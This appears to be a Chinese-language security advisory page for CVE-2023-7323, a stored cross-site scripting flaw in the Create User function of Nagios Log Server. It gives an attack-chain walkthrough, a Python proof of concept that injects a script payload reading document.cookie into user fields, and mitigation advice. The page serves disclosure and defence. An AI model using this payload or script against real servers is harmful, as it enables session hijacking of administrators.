IPBUF安全漏洞报告
English
CVE-2023-7323 CVSS 5.4 中危

CVE-2023-7323 Nagios Log Server Create User功能跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2023-7323
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios Log Server

相关标签

CVE-2023-7323XSS跨站脚本攻击存储型XSSNagios Log ServerWeb应用安全会话劫持2024R1之前版本

漏洞概述

CVE-2023-7323是Nagios Log Server中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Create User功能中,由于应用程序对用户输入的验证和转义不充分,攻击者可以在创建用户时注入恶意JavaScript代码。当其他管理员或用户查看用户列表或相关页面时,注入的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的权限提升攻击。此漏洞的CVSS评分为5.4,属于中等严重程度,需要低权限用户交互才能触发,但成功利用可对系统 confidentiality 和 integrity 造成较低程度的影响。Nagios Log Server 2024R1之前的版本均受影响。

技术细节

该漏洞的根本原因在于Nagios Log Server的Create User功能对用户提供的输入数据缺乏充分的输入验证和输出编码。攻击者可以通过在用户名字段、邮箱字段或其他用户属性中插入恶意JavaScript代码(如<script>alert(document.cookie)</script>)来实现XSS攻击。由于该输入会被存储在数据库中并在后续页面访问时回显给其他用户,因此属于存储型XSS。攻击利用步骤:首先,攻击者以低权限用户身份登录系统或利用注册功能访问Create User功能;然后,在用户相关字段中构造包含XSS payload的数据包并提交;接着,当管理员或其他用户查看用户管理界面时,恶意脚本会被浏览器解析执行。由于攻击者可以获取受害者的会话cookie,因此可以进一步实施会话劫持或冒充管理员操作。修复方案需要在用户输入时进行严格的输入验证,并在输出时对所有用户提供的数据进行适当的HTML转义。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios Log Server的低权限访问权限或利用系统注册功能
STEP 2
步骤2
攻击者构造包含XSS payload的恶意请求,通过Create User功能提交
STEP 3
步骤3
应用程序未对用户输入进行充分验证,将恶意脚本存储到数据库
STEP 4
步骤4
当管理员或受害者访问用户管理页面时,恶意脚本被浏览器解析执行
STEP 5
步骤5
攻击者通过XSS成功窃取受害者的会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2023-7323 PoC - Nagios Log Server XSS via Create User # Target: Nagios Log Server < 2024R1 target_url = "http://target:8080" login_url = f"{target_url}/api/login" create_user_url = f"{target_url}/api/users/create" # XSS Payload xss_payload = '<script>alert(document.cookie)</script>' # Authentication credentials = { "username": "admin", "password": "admin123" } session = requests.Session() # Step 1: Login login_response = session.post(login_url, json=credentials) if login_response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create user with XSS payload user_data = { "username": f"testuser{xss_payload}", "email": f"test{xss_payload}@example.com", "fullname": f"Test User{xss_payload}", "password": "Password123!", "role": "user" } create_response = session.post(create_user_url, json=user_data) if create_response.status_code in [200, 201]: print("[+] Malicious user created successfully") print("[*] XSS payload injected via Create User function") print("[*] Payload will execute when admin views user list") else: print(f"[-] Failed to create user: {create_response.status_code}") print(f"[*] Response: {create_response.text}")

影响范围

Nagios Log Server < 2024R1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制Create User功能的访问权限,仅允许受信任的管理员使用;2) 实施严格的输入验证规则,拒绝包含HTML标签和JavaScript关键字的输入;3) 启用Web应用防火墙(WAF)规则检测和阻止XSS攻击尝试;4) 提醒管理员不要点击可疑链接或查看来源不明的用户信息;5) 监控用户管理相关的异常访问日志和请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表